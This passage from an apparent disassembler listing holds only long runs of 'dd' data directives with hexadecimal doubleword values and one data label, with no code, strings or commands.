		dd 0B5006F97h, 7C5B2450h, 365DEC3h, 26A8B403h, 84E17F06h
		dd 0B28070DFh, 56AA0909h, 0AC384029h, 8FDA00E9h, 427BDED2h
		dd 717438B3h, 2094D633h, 0A8D8BBBFh, 1ADD2E41h,	50100AA7h
		dd 0DF84CE8h, 0EF931C0Ch, 77B809Dh, 723FD287h, 0EEF3C303h
		dd 0B48600A4h, 0F212Dh,	7B14C398h, 0CFA3F4A8h, 0E00A6500h
		dd 694B687Fh, 547305CCh, 0C121A58Ch, 0C43B6183h, 507E8033h
		dd 0FF9B8707h, 64621B1Fh, 86A94062h, 0E5735091h, 3F440069h
		dd 90256503h, 0F500D56Ah, 3999DF05h, 76E63CC0h,	0A1CD0063h
		dd 8B8DAC2Eh, 20009DEh,	2D245415h, 0CF7D9Eh, 0B1C371AFh
		dd 6DE85001h, 0BEAE6B12h, 772EE500h, 600F6A65h,	37801028h
		dd 480172F5h, 790B4CEAh, 0FED04D02h, 4F20CE27h,	0C58FF440h
		dd 5300CF69h, 6557587Bh, 3C85F4Dh, 27BDC37Fh, 3000E095h
		dd 0D2A1A466h, 2E781h, 0AF4D7F63h, 0BDC43F03h, 0D06C2818h
		dd 3E13A159h, 79C15Ah, 0EC93864Ch, 0E7D1F0C6h, 0D98D7E03h
		dd 0A0B6E096h, 0B73F872h, 8BFD807h, 0AC4F7502h,	524CC5E0h
		dd 0AAA9230Ch, 578091h,	2BFB4DF6h, 6520B114h, 0E5DE1C00h
		dd 0B3493CF5h, 5B0D3CECh, 8B18E040h, 2B90C27h, 0AB7000BCh
		dd 63E986F8h, 0C2005A83h, 0FCA0A120h, 7D75DDEh,	0EAC52E02h
		dd 0CC67054h, 6206FED9h, 926880E0h, 0CF090049h,	0DF8EC399h
		dd 65075D5Ah, 140A6437h, 6611E387h, 81809218h, 0F8987C6h
		dd 1A6F8CC7h, 8AE3C341h, 3BFC78A5h, 0C500835Bh,	106802BDh
		dd 39008F34h, 0C3C03B36h, 199CCBCh, 80C97288h, 0C1E51233h
		dd 91DFC473h, 8B9E9714h, 0EB04434Ch, 0CE401F7Dh, 106B0676h
		dd 28001859h, 0E2A6EED7h, 0F1B184h, 17B01E45h, 6ADD6019h
		dd 5E722501h, 0E9402897h, 0F74D2988h, 0E8BD1180h, 0F34E50Eh
		dd 0CB3DF336h, 0EBD7C960h, 0FF79A94Fh, 1E45A00h, 0F7F5D441h
		dd 0E27B006Dh, 0C29270DFh, 74038435h, 0B7BE577Eh, 930F88F4h
		dd 183807F0h, 0D7BC198Ah, 0DC4E4FCCh, 204272A7h, 0FACD121Fh
		dd 89031D24h, 0F98E9D00h, 90A208Fh, 0A72DCBD5h,	0FA15DE80h
		dd 8700B5BFh, 0B032F97Dh, 7C9EC93Eh, 7AE23E07h,	28852F80h
		dd 0FE69BF66h, 7B5DC600h, 0F2CEFB12h, 120C7862h, 2C8D96h
		dd 692030BEh, 80001C2h,	0AD865B0Eh, 0EE3236h, 573EE818h
		dd 22E21F5Dh, 0EDA4E00h, 5B25A75Ah, 0B4C00034h,	909157E1h
		dd 21389EE7h, 0C6BEAEB2h, 964C4B00h, 7A7C0Fh, 0B151854Eh
		dd 0F56E2AF7h, 0C9ECC000h, 9935D197h, 2B7D84h, 8503DE37h
		dd 9C4FA72Ch, 0D1008398h, 0B6A59D67h, 352348h, 44204BA3h
		dd 997EFD82h, 0DA8F9526h, 9712A51Fh, 0C8B10400h, 72C012A0h
		dd 44B20073h, 8C6D7D9h,	2500E2C3h, 2BAA82D8h, 4E8E30h
		dd 0E6364DF1h, 0F3CE3E54h, 925ED900h, 0DF13346Eh, 9B6B009Dh
		dd 16B7F6B3h, 0B6002BFCh, 40504CC2h, 4813767h, 4F1F8953h
		dd 0ACA09313h, 0ABF65003h, 0E0D7EE46h, 0F53C1CEh, 290D5738h
		dd 2CDF1F20h, 75EA0549h, 0D1453400h, 9504CA8Eh,	31F0001Dh
		dd 0AF8B367Dh, 0EDE41C4Eh, 0CC1F13EAh, 76B1BEF4h, 0B3ECD9ACh
		dd 70B40064h, 0ADE87C98h, 73820F6h, 0ACC6800Ch,	0ABE0081Ch
		dd 4EE02Ah, 0D6AFEC3Eh,	0FDD23D0Ah, 2FEF7300h, 0F7C724C5h
		dd 7784245Eh, 10AE8098h, 55BE30AAh, 0F3AD6B0Eh,	42009C14h
		dd 0C1DDACC4h, 5ACB0069h, 0B7E5FD30h, 0FA7F333Ah, 9226F61Eh
		dd 2C775C00h, 0E5F879Bh
		dd 0AF473C1h, 0A938D8CCh, 0D3CDA01Dh, 0D2FF35C7h, 0E844C5A0h
		dd 0D68F1E21h, 6AEB83A4h, 29C887F6h, 2B00DC65h,	0AED70556h
		dd 3FBA38B0h, 7831C4FAh, 40E09480h, 97239BA4h, 6D001F74h
		dd 0AB2F363Ah, 15D60EBAh, 0F0F417B3h, 68EE6107h, 0DAAE0BDh
		dd 0DB1F82E8h, 97C741FEh, 0A980CDBFh, 0B96FCCh,	0E4837856h
		dd 0D4FCE251h, 905FA53Ah, 27001E18h, 752E7F4Ah,	6004CB20h
		dd 0A59E4DFCh, 7A3D388Eh, 54EC2082h, 1443CA7Bh,	99E1AAC0h
		dd 42968E00h, 2776D6A2h, 1F649AD3h, 40B2DE72h, 0AC23C236h
		dd 97001F48h, 8F9A70BDh, 93122824h, 43CA8020h, 0D1346D0Ch
		dd 73A63900h, 74D95A89h, 90CC0080h, 3AE6E1D0h, 5000F57Bh
		dd 42AFB111h, 2D2A027h,	6FDE82B3h, 0F0A46C21h, 6E574F98h
		dd 17C980B1h, 0FA9BD30Ch, 4C1B0E49h, 63E10F3Fh,	0C4A588B3h
		dd 0A4025677h, 0C9FE213Eh, 54D090B9h, 0CFFD0172h, 89D61CDBh
		dd 0E462E5A8h, 0B4A0E218h, 0E3099ECh, 98B47022h, 2C9EC8Eh
		dd 0F559E5AEh, 7CCB3E21h, 7DCADDC8h, 0E8346C03h, 0A0D3D5C4h
		dd 1F1565BFh, 80204CA7h, 0D0E70F07h, 0D70FE6CFh, 0C6D219B1h
		dd 0E810F690h, 6DC200FAh, 0FB0DAB5Eh, 0DB01134Dh, 0D9D841AEh
		dd 0E4E49D4Fh, 1B3B3D74h, 0F0444C00h, 0AD85D063h, 0B0733Eh
		dd 0E9EBC227h, 5CBE1E7Eh, 36034C4Ah, 0ED221AAh,	0B905A97Dh
		dd 75D93EB7h, 0DC38024h, 0BA3CB058h, 719407C5h,	70407A82h
		dd 4F87D7E1h, 6EB87300h, 99B1FED8h, 13E50029h, 8A9F7CDh
		dd 46005E87h, 4630B37h,	78AEF07h, 4405199Eh, 1B7C4973h
		dd 3C165302h, 2FDCA295h, 0BDA74166h, 0D575EC43h, 8813DCD3h
		dd 1C9820A7h, 6ED67D54h, 0B52F0054h, 0B17C4CF8h, 73AC6400h
		dd 69216517h, 37710FDFh, 0BD603BEBh, 70F343DCh,	98A6CE00h
		dd 0CDF86264h, 14080048h, 5F188A4h, 0AF0F5CE5h,	3FC1A0BDh
		dd 232804C2h, 1044A6h, 26083A22h, 41581976h, 18686603h
		dd 970EC15Ch, 8D932400h, 7473492Bh, 398ADC50h, 0E589E91Bh
		dd 4841769Eh, 4A41C068h, 0D1123BB0h, 8C2C9CDEh,	92141C7Ch
		dd 8C0A9548h, 1B1C2D00h, 0DA214663h, 0FD6ED102h, 60D0527Ah
		dd 261EDC3Ah, 42E0E34Fh, 0E0A77714h, 24F2A674h,	5C6E9100h
		dd 0F3549F7h, 0A0300027h, 0B071D3DCh, 322CC7D7h, 5A011833h
		dd 0E84E992Eh, 7F7ACCE4h, 9F3E2654h, 1CD860F0h,	40A0E76Bh
		dd 0E800E1C5h, 71EB8747h, 64A1D5DFh, 8002C812h,	4695538h
		dd 38CDAF00h, 0D9EA4E17h, 52BF0130h, 5358E622h,	404BF539h
		dd 0D0CDB5DCh, 0F607AC77h, 0E97D28BCh, 4A126C90h, 8A6A0086h
		dd 4774955Bh, 0E5F14D6Fh, 23E9E466h, 0FDF75000h, 39AF84F9h
		dd 0B8610048h, 49558DF0h, 0E400ED74h, 0C19DEE0Fh, 11DFD92h
		dd 4AFFC99Bh, 0CCC73FFBh, 210E91C8h, 0C09ADC30h, 0D6AF0B0h
		dd 964E0F7Eh, 5120F9BFh, 5F57BEF3h, 265CC701h, 0EAC6F7B9h
		dd 59DBE074h, 0C500B844h, 74D55771h, 7D007AF1h,	42BC1491h
		dd 28962DE1h, 0C8B0C3h,	23784F7Fh, 54AE6DA2h, 69C2B30Ah
		dd 8F139866h, 3ACF5060h, 469400ACh, 97324A0Ah, 0AA79BB13h
		dd 0D7367E00h, 3CB2FDB9h, 57840724h, 0D025686Ch, 0AB9FC426h
		dd 3585CF00h, 1F6518F9h, 0EED47901h, 92E8007Dh,	44FAA03Ch
		dd 2C14B26Ah, 1ED03161h, 0E0689574h, 117DF200h,	0F5CDFD84h
		dd 3297C10h, 0A40BB38Bh, 25D89BBAh, 0C20081CFh,	4A5F092Ah
		dd 15BBB4EBh, 8CE1EFF6h, 2EF17C0Fh, 0E78A4962h,	5D457048h
		dd 46A80C00h, 9ABC439Fh, 0B42B046Ch, 8122BDD0h,	2CAF70D7h
		dd 3CEF2ED8h, 0B0F85D07h, 8B739930h, 2EA798E8h,	150827Bh
		dd 0CB339A68h, 6EAC40AFh, 0F1074736h, 8317003h,	8056292Fh
		dd 0E650944h, 530B16B6h, 8A58433Dh, 0E5A78976h,	87CC5CD5h
		dd 60C2290Eh, 6832D02Eh, 241CD902h, 0C644041Dh,	41EE3000h
		dd 14A2E0A0h, 0A17A7507h, 39B7F1BFh, 0FA027480h, 3FD506F2h
		dd 0F8134EB9h, 7E46CB58h, 45B84B60h, 8E9E88h, 0C96BF1A5h
		dd 4F99B647h, 0E75E1D18h, 164C7ED8h, 74D4E87h, 0D032C288h
		dd 94CC9C14h, 2ED55800h, 5A70E4E0h, 89161F8Fh, 34CD7FECh
		dd 0ABA9BC61h, 0BB26D0F2h, 1C023092h, 0F5815B1Dh, 9A0C6970h
		dd 44747EC1h, 3A3C03F7h, 0BC47531Eh, 0DA52102h,	0E02930E5h
		dd 319C204h, 0E99489CBh, 7888D30Ah, 0D50A6AFBh,	9420A65Dh
		dd 540741Dh, 5F0CF784h,	28DF59C5h, 0BFC1C700h, 74863EA3h
		dd 62D63700h, 48B02B07h, 2CB8B7h, 630F6575h, 0FA420D3Dh
		dd 3BABCE22h, 30528D4h,	88F14CBDh, 3D0013A8h, 8BAC85Eh
		dd 92D146EFh, 11D20930h, 4C4C338Fh, 153EC25h, 0A59E5FB0h
		dd 35670210h, 0CC3F80A8h, 4259BD05h, 9800B6E6h,	4E01E509h
		dd 2A581B36h, 5A86116h,	8CB8A6C6h, 4CBCF918h, 0E60C41h
		dd 733A564Bh, 7176DEF5h, 4C92E9C0h, 5D55ADh, 127A7D5h
		dd 0D152631Dh, 0B958F012h, 0B3707F18h, 0EC4F0272h, 0F8903F5Ch
		dd 79093320h, 0DEBE3213h, 67411510h, 6B3BC4B4h,	22195807h
		dd 1BA0B66Eh, 0E844564h, 75D63667h, 74E6BB81h, 5761806Dh
		dd 30B80978h, 0B980B37h, 0AE800472h, 71B66550h,	0CDB30700h
		dd 0D282295Ah, 70E660A0h, 0BBF20661h, 0F8CFA901h, 3396F60Eh
		dd 684362C6h, 92D2B150h, 0A30925A0h, 96611C83h,	8CD02E8Bh
		dd 94031D10h, 0E45F25Ah, 89938F6Bh, 1A8DF0B1h, 2BF7038Fh
		dd 3591824h, 0C6E51DE0h, 0D342A500h, 0F30D614h,	8B1200D2h
		dd 0AC66D009h, 0E73EF675h, 2007006Bh, 2683F2CBh, 58EC0051h
		dd 0CA9166C0h, 0EF17B6D6h, 580057BFh, 0AB55B7D8h, 1BF20092h
		dd 8876CDF3h, 260ED4C5h, 0A0C85C6Fh, 0A9AA07F7h, 75AD0032h
		dd 0F64387CDh, 490369D1h, 0EF895760h, 902EC0B8h, 12F1005Dh
		dd 0E936FF2Fh, 0E40EC654h, 605E9918h, 4D1DAC40h, 20B883h
		dd 0E9F96DCFh, 2B16C5B7h, 9FB8D207h, 74C357E6h,	0AB48A001h
		dd 46B6001Bh, 41BFA972h, 0F73BE5ACh, 0F442005Ch, 0DDFFE0D4h
		dd 91031C6Ch, 72E1D6Ah,	80DE24A9h, 0E8F13249h, 0C577EE05h
		dd 0C40FC00Eh, 4F2D404Bh, 56E43Dh, 88B5FCD4h, 0FAA3DF75h
		dd 436DBA1Ah, 48084168h, 0D26ACCh, 1E8E2464h, 0F7D5D338h
		dd 0B7A2F91Fh, 0C90ACD89h, 0D4405E6Ch, 4E7A6Ah,	0BDFCFE08h
		dd 0A3638D8Fh, 7C06F100h, 0E433FD95h, 49E7002Bh, 6B4C37A7h
		dd 0F00343F4h, 7FCC2A28h, 98D1B14Dh, 0F748C07Bh, 0AC00973Fh
		dd 784771F3h, 0F07FD6F5h, 686B660Ch, 53009967h,	0E9FE7D2h
		dd 1B9D21DBh, 38969A54h, 3BA804E8h, 10C0AAF6h, 5B6FD1EFh
		dd 91E8007Eh, 74EEB139h, 0EC00DAAEh, 0CFB6DBA1h, 70BB52h
		dd 37113103h, 0F9991F5h, 533EFF00h, 0D323FB44h,	0C1C300A8h
		dd 0AE3A8FA5h, 0D900491Eh, 0DC891A36h, 1CE6E19Dh, 81C51064h
		dd 91DF5AEAh, 33EDC4E0h, 16816200h, 0B790469Eh,	281A003Ah
		dd 15BCE561h, 5D0B7F22h, 80C27818h, 0CC63674Eh,	3D51208h
		dd 0C4405C92h, 0D7FD8E3Dh, 2849A30h, 0F172950Ch, 0E97EB072h
		dd 184F4Ch, 0A7EE3770h,	1CD608Eh, 0DDE39914h, 0EC9C1B79h
		dd 3700A848h, 7CEF34F3h, 67276B4Eh, 88F658E2h, 2D91A300h
		dd 28BD5512h, 19C7E09h,	0ECBC2E33h, 703FC913h, 0E898D110h
		dd 4F120300h, 99F3B9C1h, 336C00ECh, 97A83B3Dh, 7258EBF7h
		dd 65EE0140h, 94649862h, 0C2FEF0h, 5C9FCDABh, 7B402DA9h
		dd 0E7DFD61Dh, 1B7C1200h, 4544A0h, 3BE393B1h, 59E0F3Ah
		dd 11D34600h, 0C9418B28h
		dd 0CF98C04Ch, 0A7125235h, 670CC400h, 1B9D1D25h, 110400C7h
		dd 2049BF85h, 2900765Eh, 0FE0797E0h, 24D6D9h, 835B3EC0h
		dd 0B5F3B68Ch, 0FC9CF400h, 0F8CDAD1Dh, 61B2285Fh, 0D69901B4h
		dd 0BA0B183Fh, 597220C1h, 28A86000h, 7BED516Bh,	89E70071h
		dd 9BEC632Ah, 0E57E5AE9h, 39B33600h, 21862427h,	7DD6FE75h
		dd 92A807C7h, 20774606h, 0B7B11880h, 0E68E9501h, 4102263Eh
		dd 2A92C0h, 74385DEh, 2E21F3CEh, 1023A704h, 65C0B1D0h
		dd 1D8894BCh, 9E2A14h, 54459F06h, 5C03430Dh, 0BDEF72F2h
		dd 1E90E70Fh, 48C914h, 7E527963h, 6DE1CB17h, 0E023200h
		dd 1959E22Ch, 9AE50FA9h, 37A08387h, 0CB967EB7h,	2EAB03Ch
		dd 1A9D7727h, 63788076h, 0DEC72h, 0FEDD0A99h, 5B187C78h
		dd 662AA07h, 2883CC6Dh,	0A537D840h, 0EAA200DBh,	39A87A16h
		dd 9E0010ADh, 24A3EC70h, 1824B54h, 0AEDA5647h, 309FE476h
		dd 34001A50h, 0A05A0E7Dh, 46B870Ch, 8C6E25BDh, 0E35CF08Eh
		dd 0B8142301h, 38658494h, 0EEEF4ECh, 2152BD62h,	3558CCC0h
		dd 2C009387h, 4F18DDB9h, 0F332DACh, 258CE8DAh, 0F5E029EFh
		dd 5BF864C4h, 7D6A961Fh, 0A1D2A344h, 0B8C29EC7h, 48F0ECh
		dd 0A9DC7535h, 0AF14B5DFh, 0F5AB970Eh, 0ED0932AEh, 0AC00402Ah
		dd 54985D56h, 43C31503h, 8058B67h, 246F8C7Bh, 20E0285Dh
		dd 3F01AAEFh, 0DD3B1DABh, 488028A3h, 0EC16C092h, 0A72C604Fh
		dd 0FF001ACEh, 98F9685Fh, 29A23B1Dh, 0B5466E83h, 64F858DAh
		dd 79010A23h, 0CEDF8088h, 6CCCF73Ch, 0C67C004Bh, 4FF24E47h
		dd 2A008512h, 0AF958C76h, 1F370F4Dh, 28144CD1h,	3C720164h
		dd 2FC13AABh, 4F9A4098h, 82516040h, 75AEC460h, 0BC613000h
		dd 2E423D49h, 3B037A18h, 0D305E2ADh, 0F456A282h, 0E981250h
		dd 7E1BA103h, 972EB2C2h, 0DCF8A4B0h, 0E3690088h, 2A9DE090h
		dd 8A1C5BCFh, 0C505D142h, 0F60011DEh, 2E45AE4Bh, 0B0165409h
		dd 7A120074h, 7CD28A7Eh, 5E071D90h, 0E6200687h,	29A67171h
		dd 182491F9h, 0D7B00E0Ch, 9660802Bh, 0F6D604A7h, 0D3C6D800h
		dd 5102F7A5h, 0A1100F22h, 0C900383Ch, 0B775F5E2h, 70FF6A30h
		dd 58FD6D92h, 3000E8Dh,	7811EDB8h, 0AC00E9FCh, 0FA55F6Ch
		dd 1149D89h, 0D8B153BFh, 0F069B666h, 700B8A7h, 1194D931h
		dd 1E8548F8h, 841AE486h, 820E498Dh, 0F8F017FAh,	0F73723EAh
		dd 20E1B989h, 0E838E6A1h, 6C69EE00h, 6451D51Eh,	3ACD0706h
		dd 1FA1E975h, 82B23D86h, 1E67C617h, 0EFFE8DE0h,	7EB8D900h
		dd 3384E7DDh, 4C1DE45Eh, 5C00E968h, 8E747BD7h, 5A3B47ECh
		dd 5F1880EEh, 1C5676CAh, 2BF20025h, 0D0FEB633h,	4390722Dh
		dd 80270E3Dh, 0AFF194CBh, 0BF579Dh, 7ED91633h, 0F9A19312h
		dd 2A703Dh, 0AA29AE96h,	77A2369h, 3AFDF7Ch, 0FF3BB079h
		dd 0CE00800Fh, 6D6EDCD0h, 3AD252Ah, 4A071A99h, 0E3F085EAh
		dd 0E90651E1h, 0C18118F9h, 1FFA29h, 0BB47E4ECh,	7B7D3021h
		dd 61413700h, 0CA2449C0h, 0B9C66025h, 3A80E984h, 79AEC400h
		dd 23BB78ABh, 0EED30007h, 61F3EFB8h, 0F600C182h, 4D5D49B4h
		dd 0E6601348h, 0C641002Bh, 0E432EECEh, 0BB1918CCh, 24D87111h
		dd 5AA7C4h, 9672CBDDh, 0E5D0BACAh, 1571D4F1h, 5232F400h
		dd 82B92913h, 0A5B9C0C8h, 0C8E2FE7h, 0D5ECA603h, 0E0E92578h
		dd 0E23207h, 4BFCF708h,	6DB636C2h, 6F268318h, 0DAC738h
		dd 528A38DDh, 0CB690382h, 412E8D70h, 0ED0CB928h, 64287Fh
		dd 3793F057h, 0B7AD0FA0h, 70065800h, 8B85DF2Fh,	0D2F95055h
		dd 6CE73DA1h, 4039339Fh, 0D04604EFh, 0AF006238h, 603CD50Bh
		dd 0A53B4AAEh, 5340FD04h, 35AB888h, 2A022D45h, 214CC857h
		dd 33230653h, 1015C2h, 0E9EEFD1Bh, 0D7745796h, 88FA531h
		dd 20814CC9h, 0A3EF117Ch, 0A2D2D88Eh, 2A116C92h, 0EE00625Dh
		dd 5204C1D6h, 2D20086Eh, 884C004Dh, 61E5671Eh, 5C083693h
		dd 4B57F6h, 0B09EAE5Fh,	0A601B228h, 0C6B115CAh,	0C03EED06h
		dd 0B409BD9Fh, 0F20A400h, 0A7FA6C9Fh, 716163A5h, 0F5C0EE10h
		dd 8C21BF9h, 809CD242h,	1D07454Ch, 0E4131D51h, 2905C081h
		dd 4A99824h, 2F889E50h,	5DE1A706h, 0E050B2AFh, 6D930B19h
		dd 0FB8373C9h, 8191B62h, 0E520A7E1h, 81FF3F00h,	2938D900h
		dd 4F7A71CEh, 79D062ABh, 889040A7h, 48A1A643h, 3065F025h
		dd 0D8794664h, 6E938660h, 71ABC910h, 0C6802BC8h, 0ED40931Eh
		dd 0E936068Eh, 59A1E187h, 55D5590Eh, 49EA200Ch,	5302CCh
		dd 0D06E683Ah, 0D9E2D2FDh, 0A6DCFA09h, 400C10BEh, 98D3FE26h
		dd 0F15B4C8Eh, 4F16D400h, 7735FDEBh, 98754402h,	0A02BA94Eh
		dd 8D82BED4h, 4A5E02B6h, 0B257C785h, 0C881E30h,	0D208693Bh
		dd 6A3FEA99h, 2B1A80A3h, 531FDC01h, 0B7DB30F0h,	0C1F2DD21h
		dd 81C7C400h, 3E316B0Eh, 0D5B03767h, 0DFFA2270h, 82863C48h
		dd 28687200h, 2DCBED78h, 4FB816h, 2B33C76Dh, 0B9FAD7C2h
		dd 0A315DA01h, 58A4B19Dh, 575FB980h, 0B90B55C6h, 0BC06A507h
		dd 46833E6Eh, 72DFB008h, 694800B3h, 58A62B74h, 5C00294Ah
		dd 559E7D4h, 2A9AFDEAh,	7F9C7CB1h, 0C11E6F9Dh, 0D4CE2400h
		dd 0E80CBBC6h, 193104FDh, 15DB009Dh, 778A96EEh,	411ED217h
		dd 0C9C0660Fh, 0EF064ED4h, 988752FDh, 1E30ADF2h, 4AF80C5Eh
		dd 9819A90Bh, 15184B1Eh, 40D9204Fh, 75DE2BB3h, 0A55B1590h
		dd 0F901844Ah, 4CA3BEFDh, 29C96080h, 0FCEF2824h, 0B1A94485h
		dd 0DE6BBC41h, 0BFD0C45Eh, 30850024h, 2BC20D7h,	2D48A3F7h
		dd 8CB9BC98h, 39D56100h, 2077D3CEh, 213C98CCh, 2CA4FE87h
		dd 7796F502h, 203C667Bh, 0B4E04D2Dh, 0F99FF300h, 0C234C4A0h
		dd 6A300075h, 0D4ABF12Dh, 2960C83Eh, 5EECCDE9h,	0CCA6CAh
		dd 8E7DB709h, 699480CEh, 0F2457E32h, 0F9A0A29Ah, 0DCDCA014h
		dd 2E315EDDh, 1B6277ADh, 3924826h, 0C835D881h, 10D6D147h
		dd 1C40EC1Bh, 0D44BBDh,	4F6BC922h, 2A88A4D2h, 4AFA141Fh
		dd 5C80B41Ah, 6E5EB725h, 0E1D4FF3Ch, 8FBBCA29h,	2FEFE4h
		dd 0C7A14BCh, 72269AC0h, 0FB7BAB78h, 2C014F76h,	0A876DDDFh
		dd 303217BAh, 80C97470h, 7B60BEA7h, 0B5E7D319h,	7560921Bh
		dd 40C8A8BAh, 0C550A05Fh, 0DC183A62h, 0B261B580h, 8CEF4706h
		dd 0C333CC00h, 0FD88FF95h, 601D554Ah, 1548801h,	0CE945880h
		dd 0B252297Ch, 4934D4A8h, 13CA81C0h, 0E5FC18h, 0F8BF7565h
		dd 98F11F21h, 400719F6h, 2D47C289h, 0B5448019h,	0A07999CDh
		dd 889CD7CCh, 0BC91BCA7h, 0F30B9806h, 3EF93AE9h, 0C200E640h
		dd 21B5F72Bh, 0F4C749h,	0BA63B1B3h, 8F2E7B18h, 0C8F85900h
		dd 0B23EC3DCh, 4C20B26Ch, 33C5D042h, 0F5A0204Bh, 2A62EE0Fh
		dd 80FA8388h, 0FE25186Ch, 0C4641FF9h, 3B3DC043h, 0AA8F57FFh
		dd 59C36600h, 6DF4C939h, 2D1B03FEh, 0B51548D0h,	932AC904h
		dd 0E4880BD6h, 2620474h, 831945E9h, 9AF09CF2h, 0FD034C4Dh
		dd 28D609D1h, 93B1A8CEh, 1F2914F7h, 1788B02Ch, 0E0CC8983h
		dd 0F7708053h, 0FEF2008Bh, 9B63577Bh, 2C05CD96h, 13A96422h
		dd 4C44B892h, 24BD4214h, 0F9625843h, 7EB868C0h,	0D567D20h
		dd 425F5AF4h, 0F5BEDC39h, 85C68A01h, 0B70C71A2h, 673B9981h
		dd 200BB5D1h, 27159C0Ch, 2CAC2FC4h, 2A000C18h, 53329826h
		dd 0BCB074h, 471CF4FFh,	0BCC946B6h, 0BB100518h,	2C5F1858h
		dd 80047DC2h, 32972057h, 4760B14Bh, 0AD25ED38h,	0F0947FF7h
		dd 0D00F188Ch, 96CA495Ah
dword_51CC48	dd 48454C2Ch, 0FC9BF001h, 18482019h, 76B200CEh,	0A350D12h
		dd 0AF0001C0h, 0F3807F4Ah, 0DD1B51h, 856DDE74h,	0DFB8348Dh
		dd 503C7B00h, 4FCB8F18h, 0C92100EFh, 30C8896h, 6E00DCCFh
		dd 0A79F50BBh, 2CCDB1D2h, 0B1887174h, 10D64FB8h, 28699666h
		dd 209C729Ch, 0B1E6AF02h, 0A74D9270h, 93600CA8h, 4CEB101Bh
		dd 8E1E4C5Ch, 27ACBBACh, 61C20015h, 7DA46C4Bh, 0F54EB0A8h
		dd 0F4FB8400h, 334439DEh, 4508C617h, 0F30720D6h, 0D5D184E1h
		dd 7CA475C0h, 0CF140002h, 330DFF99h, 0B1010E6Ah, 1D8CBAA6h
		dd 56D07058h, 4664006Dh, 916BD53Bh, 0E9007B19h,	0DAEE75DBh
		dd 0D88B40h, 6ED36FAEh,	6D0B8209h, 880954FCh, 40486BD0h
		dd 40EB1E34h, 0E1014D7Bh, 0AAB5F606h, 3821D3F4h, 54094BC4h
		dd 8F864A3h, 0E6F51084h, 0D5ACC2h, 8184F068h, 0A6798200h
		dd 4264455Eh, 2EA3F659h, 92BCA29Ah, 2A1C4E8Ah, 5430EDEBh
		dd 6111943Dh, 748893C9h, 0A0EDB98Fh, 8D60EB09h,	18AC056Ch
		dd 967E33CBh, 0E34650A0h, 43849338h, 327723C9h,	0C0272776h
		dd 7F54A594h, 0A0D9CB26h, 0E6933E80h, 486C4025h, 9A010CF9h
		dd 0FD8EA922h, 0E413F046h, 0A2F6F0A0h, 84EB0186h, 4F8EF4F9h
		dd 0A8D60845h, 0EFF18Ch, 0BD99C684h, 3EB8A68h, 1D1568C8h
		dd 8248D2DEh, 0F230EC38h, 0C96A1593h, 0BA88888Bh, 93FA4280h
		dd 12B673D4h, 1E073590h, 0A948844Ch, 0E18D09Fh,	0D60094ACh
		dd 17ED26BFh, 944E18E3h, 7FE94078h, 14960BACh, 9FB93A87h
		dd 0D0249290h, 42FC0081h, 0B49E2E51h, 0CA0F085Ah, 2536771Fh
		dd 14CF4F6Ch, 0DC0B088h, 2B543BBAh, 20A4F24Bh, 1B53A94h
		dd 0E1843049h, 0E2BD00D4h, 0FD6E584h, 1C2EADFEh, 688139A9h
		dd 0D04950D5h, 354C93C3h, 0B15E6100h, 67D8F4E5h, 504D3059h
		dd 0A8E09480h, 0F003D4Ch, 29B4248Fh, 0B4C8053h,	1844EE87h
		dd 203EA859h, 0B20586AEh, 48CE1EFDh, 8E57202Ch,	0E8E03700h
		dd 0D89312F1h, 23B0A25h, 80B0A50Ch, 31F49941h, 700EAFFFh
		dd 0C78D619Dh, 0CF801AB9h, 0C98CD57Ch, 0AC8B87D0h, 0A36C3C98h
		dd 12F38548h, 3C92DBF0h, 0F41320B6h, 640FE5C1h,	0C0D8ABA8h
		dd 4C8C6DE1h, 49480150h, 0E8933AC9h, 4208710Dh,	0BCB2F0ECh
		dd 0F8424042h, 0BC182B62h, 9780D5BAh, 0B18400EEh, 61992367h
		dd 2A00E96Ch, 3A9415A5h, 4D572920h, 0B801241Fh,	9B116138h
		dd 0CA58F0A2h, 7045244Ah, 5491CC0Bh, 8E7CD5E5h,	91D5CE28h
		dd 0D4E17834h, 0D8A81286h, 2A870532h, 38440A6h,	3B0D1098h
		dd 15ACB000h, 6D63C1C6h, 0BA8E0E7Fh, 3862E473h,	64C0C0BCh
		dd 1E0A56DCh, 944AD554h, 0F5A9BB40h, 28EC7897h,	207090F9h
		dd 4D247D45h, 0A807DCCBh, 76B89912h, 0F8307446h, 4F233438h
		dd 8AF7A017h, 512AA422h, 182B71E0h, 127E12AAh, 0C2949008h
		dd 0B500D928h, 0D7D10E3Ah, 0F65D98FCh, 0B9829DCBh, 0C8C27146h
		dd 6018E084h, 13F4EEFAh, 0CA77FF96h, 55190E30h,	4338A1F3h
		dd 0E850C8A6h, 4E08AA8h, 3140548Ch, 6568C07Ch, 0D2161ADDh
		dd 0D112A298h, 0A8C8A48Ah, 351442C0h, 9E520093h, 1C24C604h
		dd 6E0A43CCh, 981340A6h, 0F060DA64h, 0C9254493h, 178961Bh
		dd 929320A0h, 26682241h, 81333D58h, 4AF4184Dh, 5184ADE3h
		dd 875C0143h, 290C154h,	0F25C622Dh, 0EA4730E1h,	0AACBBC00h
		dd 329977BDh, 8D1300FBh, 24C21692h, 4B21788h, 118CCE1Fh
		dd 0CD000426h, 27A80737h, 5FF91312h, 0B53C00BAh, 7CAAFC66h
		dd 7D064200h, 49C653E6h, 0FD8D066Bh, 4169E4CEh,	0F8B8500Bh
		dd 78640FD0h, 12603428h, 12B1F20Dh, 46EBCh, 56183FE4h
		dd 5CC30h, 312E4A13h, 0A70ACB44h, 80603DE3h, 0B22E1C8h
		dd 0ED4C12DAh, 0FF343032h, 9610EBEEh, 2AC47907h, 7202004Dh
		dd 3E4EA7F3h, 0FC81817Fh, 6BC3CA6Eh, 89F034F0h,	0C46870F9h
		dd 4DC420F1h, 6CB7E200h, 0E40AEB53h, 3BE0C018h,	2A9ED4CDh
		dd 0A888EF50h, 3E07F2FEh, 0EA6D982Dh, 191C6320h, 2436589Dh
		dd 0F777F16h, 20548D94h, 18F88CB1h, 924906Ch, 0D15F5C44h
		dd 69096020h, 9B0E8155h, 406E8C33h, 56EF0596h, 435E0279h
		dd 0ADA44495h, 0F5E2ACA0h, 5D7B9DB3h, 0EB12BB00h, 0B7BC1FCCh
		dd 71B0020Fh, 4ABE261Bh, 0F701DCC6h, 0F3EB5D5Eh, 0B850DE33h
		dd 99FCB1h, 97EA1E2Ch, 8C0A0B52h, 2103EE00h, 0AB9D8013h
		dd 0D040038Eh, 0E2D30867h, 0C393380Ah, 0B4DE04F0h, 0C8485470h
